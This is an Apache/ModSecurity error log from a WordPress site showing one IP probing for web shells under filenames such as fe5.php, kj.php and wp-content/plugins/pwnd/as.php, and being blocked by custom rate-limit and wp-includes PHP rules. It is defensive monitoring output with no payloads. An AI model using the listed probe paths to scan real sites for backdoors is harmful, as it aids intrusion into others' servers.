[Tue Mar 24 19:32:07.361787 2026] [:error] [pid 3137:tid 3143] [client 52.138.146.177:8241] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acJ2N5dZesutm6dfYM8iPAAAAMQ"]
[Tue Mar 24 19:32:08.488333 2026] [:error] [pid 38767:tid 38774] [client 52.138.146.177:11260] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ2OPwkUqN4GJAI5oUcsQAAAQQ"]
[Tue Mar 24 19:32:09.311419 2026] [:error] [pid 48214:tid 48273] [client 52.138.146.177:16044] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ2ObeshLWZ3uUDHKll5QAAAdU"]
[Tue Mar 24 19:32:10.341638 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:1864] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ2OvwkUqN4GJAI5oUcuAAAAQA"]
[Tue Mar 24 19:32:11.568055 2026] [:error] [pid 64198:tid 64206] [client 52.138.146.177:42780] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ2O3VzJqf6OS_oSZ2kPwAAAUY"]
[Tue Mar 24 19:32:13.051686 2026] [:error] [pid 64198:tid 64203] [client 52.138.146.177:57144] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "acJ2PXVzJqf6OS_oSZ2kRgAAAUM"]
[Tue Mar 24 19:32:14.115565 2026] [:error] [pid 3137:tid 3155] [client 52.138.146.177:33676] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "acJ2PpdZesutm6dfYM8iRQAAANA"]
[Tue Mar 24 19:32:15.659907 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:1889] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "acJ2P_wkUqN4GJAI5oUcwwAAAQM"]
[Tue Mar 24 19:32:16.472729 2026] [:error] [pid 3032:tid 3112] [client 52.138.146.177:25423] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "acJ2QCa_-JXXD03-JNxPWwAAAIk"]
[Tue Mar 24 19:32:17.048163 2026] [:error] [pid 3030:tid 3049] [client 52.138.146.177:38753] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acJ2QQyOuILyynfcqflZEQAAAAA"]
[Tue Mar 24 19:32:17.918894 2026] [:error] [pid 48128:tid 48169] [client 52.138.146.177:57098] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acJ2QcvR4LIMFLbM5Vk0dwAAAZA"]
[Tue Mar 24 19:32:18.656813 2026] [:error] [pid 48214:tid 48268] [client 52.138.146.177:11675] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acJ2QreshLWZ3uUDHKll6AAAAdA"]
[Tue Mar 24 19:32:20.126206 2026] [:error] [pid 3031:tid 3077] [client 52.138.146.177:16062] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "acJ2RKJBKytnG47nuiYz0gAAAEE"]
[Tue Mar 24 19:32:21.276063 2026] [:error] [pid 64198:tid 64224] [client 52.138.146.177:8531] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ2RXVzJqf6OS_oSZ2kTgAAAVg"]
[Tue Mar 24 19:32:22.727279 2026] [:error] [pid 38767:tid 38782] [client 52.138.146.177:17562] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ2RvwkUqN4GJAI5oUczgAAAQw"]
[Tue Mar 24 19:32:23.683958 2026] [:error] [pid 48219:tid 48288] [client 52.138.146.177:8573] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ2Ryhf3b4R_lAIyv916AAAAgc"]
[Tue Mar 24 19:32:24.699250 2026] [:error] [pid 38767:tid 38780] [client 52.138.146.177:11239] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ2SPwkUqN4GJAI5oUc2AAAAQo"]
[Tue Mar 24 19:32:25.667552 2026] [:error] [pid 48214:tid 48264] [client 52.138.146.177:11689] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "acJ2SbeshLWZ3uUDHKll8AAAAcw"]
[Tue Mar 24 19:32:26.515503 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:16008] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "acJ2SvwkUqN4GJAI5oUc2QAAAQM"]
[Tue Mar 24 19:32:27.653294 2026] [:error] [pid 38767:tid 38784] [client 52.138.146.177:42800] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "acJ2S_wkUqN4GJAI5oUc3QAAAQ4"]
[Tue Mar 24 19:32:28.549377 2026] [:error] [pid 3030:tid 3073] [client 52.138.146.177:7639] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "acJ2TAyOuILyynfcqflZFgAAABg"]
[Tue Mar 24 19:32:30.077390 2026] [:error] [pid 48219:tid 48281] [client 52.138.146.177:1877] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acJ2Tihf3b4R_lAIyv91-AAAAgA"]
[Tue Mar 24 19:32:31.353943 2026] [:error] [pid 3032:tid 3103] [client 52.138.146.177:33704] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acJ2Tya_-JXXD03-JNxPaQAAAIA"]
[Tue Mar 24 19:32:32.377947 2026] [:error] [pid 3032:tid 3121] [client 52.138.146.177:7678] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "acJ2UCa_-JXXD03-JNxPagAAAJI"]
[Tue Mar 24 19:32:33.488984 2026] [proxy_fcgi:error] [pid 3032:tid 3107] [client 52.138.146.177:30527] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:33.751945 2026] [proxy_fcgi:error] [pid 3032:tid 3111] [client 52.138.146.177:30527] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:34.178497 2026] [proxy_fcgi:error] [pid 3032:tid 3122] [client 52.138.146.177:30527] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:36.040804 2026] [:error] [pid 3032:tid 3121] [client 52.138.146.177:30527] [client 52.138.146.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acJ2VCa_-JXXD03-JNxPdwAAAJI"]
[Tue Mar 24 19:32:37.032304 2026] [proxy_fcgi:error] [pid 64198:tid 64220] [client 52.138.146.177:8246] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:37.991971 2026] [proxy_fcgi:error] [pid 64198:tid 64213] [client 52.138.146.177:8246] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:38.316415 2026] [proxy_fcgi:error] [pid 64198:tid 64221] [client 52.138.146.177:8246] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:38.572352 2026] [proxy_fcgi:error] [pid 64198:tid 64214] [client 52.138.146.177:8246] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:38.832201 2026] [proxy_fcgi:error] [pid 64198:tid 64220] [client 52.138.146.177:8246] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:32:39.128700 2026] [:error] [pid 64198:tid 64204] [client 52.138.146.177:8246] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "acJ2V3VzJqf6OS_oSZ2kawAAAUQ"]
[Tue Mar 24 19:32:39.931552 2026] [:error] [pid 64198:tid 64202] [client 52.138.146.177:30492] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "acJ2V3VzJqf6OS_oSZ2kbwAAAUI"]
[Tue Mar 24 19:32:41.142395 2026] [:error] [pid 3032:tid 3125] [client 52.138.146.177:11702] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "acJ2WSa_-JXXD03-JNxPeQAAAJY"]
[Tue Mar 24 19:32:42.202571 2026] [:error] [pid 3137:tid 3145] [client 52.138.146.177:11244] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "acJ2WpdZesutm6dfYM8iVQAAAMY"]
[Tue Mar 24 19:32:43.066001 2026] [:error] [pid 64198:tid 64208] [client 52.138.146.177:57116] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "acJ2W3VzJqf6OS_oSZ2kdAAAAUg"]
[Tue Mar 24 19:32:44.444630 2026] [:error] [pid 3031:tid 3092] [client 52.138.146.177:17571] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "acJ2XKJBKytnG47nuiYz2AAAAFA"]
[Tue Mar 24 19:32:45.379868 2026] [:error] [pid 48128:tid 48162] [client 52.138.146.177:41808] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "acJ2XcvR4LIMFLbM5Vk0gAAAAYo"]
[Tue Mar 24 19:32:46.445901 2026] [:error] [pid 48219:tid 48286] [client 52.138.146.177:11653] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "acJ2Xihf3b4R_lAIyv92BwAAAgU"]
[Tue Mar 24 19:32:47.369501 2026] [:error] [pid 48219:tid 48284] [client 52.138.146.177:10126] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acJ2Xyhf3b4R_lAIyv92DQAAAgM"]
[Tue Mar 24 19:32:48.252867 2026] [:error] [pid 3137:tid 3146] [client 52.138.146.177:8527] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acJ2YJdZesutm6dfYM8iWAAAAMc"]
[Tue Mar 24 19:32:49.193044 2026] [:error] [pid 48214:tid 48255] [client 52.138.146.177:42801] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acJ2YbeshLWZ3uUDHKll_gAAAcM"]
[Tue Mar 24 19:32:50.297711 2026] [:error] [pid 3032:tid 3122] [client 52.138.146.177:46932] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acJ2Yia_-JXXD03-JNxPgAAAAJM"]
[Tue Mar 24 19:32:52.324979 2026] [:error] [pid 48219:tid 48293] [client 52.138.146.177:8215] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "acJ2ZChf3b4R_lAIyv92GAAAAgw"]
[Tue Mar 24 19:32:53.915296 2026] [:error] [pid 48128:tid 48177] [client 52.138.146.177:7646] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "acJ2ZcvR4LIMFLbM5Vk0ggAAAZg"]
[Tue Mar 24 19:32:54.908112 2026] [:error] [pid 64198:tid 64216] [client 52.138.146.177:41840] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "acJ2ZnVzJqf6OS_oSZ2kfAAAAVA"]
[Tue Mar 24 19:32:57.013946 2026] [:error] [pid 3137:tid 3145] [client 52.138.146.177:41851] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "acJ2aZdZesutm6dfYM8iawAAAMY"]
[Tue Mar 24 19:32:58.392080 2026] [:error] [pid 64198:tid 64207] [client 52.138.146.177:46924] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "acJ2anVzJqf6OS_oSZ2kgQAAAUc"]
[Tue Mar 24 19:32:59.738900 2026] [:error] [pid 64198:tid 64214] [client 52.138.146.177:41798] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "acJ2a3VzJqf6OS_oSZ2khwAAAU4"]
[Tue Mar 24 19:33:00.752622 2026] [:error] [pid 64198:tid 64213] [client 52.138.146.177:23827] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "acJ2bHVzJqf6OS_oSZ2kiQAAAU0"]
[Tue Mar 24 19:33:01.898373 2026] [:error] [pid 3030:tid 3061] [client 52.138.146.177:33707] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "acJ2bQyOuILyynfcqflZKgAAAAw"]
[Tue Mar 24 19:33:03.748473 2026] [:error] [pid 3031:tid 3098] [client 52.138.146.177:16042] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acJ2b6JBKytnG47nuiYz3AAAAFY"]
[Tue Mar 24 19:33:04.710508 2026] [:error] [pid 3032:tid 3108] [client 52.138.146.177:42795] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acJ2cCa_-JXXD03-JNxPiQAAAIU"]
[Tue Mar 24 19:33:05.828106 2026] [:error] [pid 3031:tid 3077] [client 52.138.146.177:33666] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acJ2caJBKytnG47nuiYz3wAAAEE"]
[Tue Mar 24 19:33:06.577152 2026] [:error] [pid 48219:tid 48291] [client 52.138.146.177:30497] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "acJ2cihf3b4R_lAIyv92HwAAAgo"]
[Tue Mar 24 19:33:07.567402 2026] [:error] [pid 64198:tid 64214] [client 52.138.146.177:46284] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "acJ2c3VzJqf6OS_oSZ2kkwAAAU4"]
[Tue Mar 24 19:33:09.332773 2026] [:error] [pid 64198:tid 64208] [client 52.138.146.177:46334] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "acJ2dXVzJqf6OS_oSZ2klgAAAUg"]
[Tue Mar 24 19:33:10.096863 2026] [:error] [pid 3032:tid 3121] [client 52.138.146.177:35393] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "acJ2dia_-JXXD03-JNxPjQAAAJI"]
[Tue Mar 24 19:33:10.985842 2026] [:error] [pid 64198:tid 64207] [client 52.138.146.177:11944] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "acJ2dnVzJqf6OS_oSZ2kmwAAAUc"]
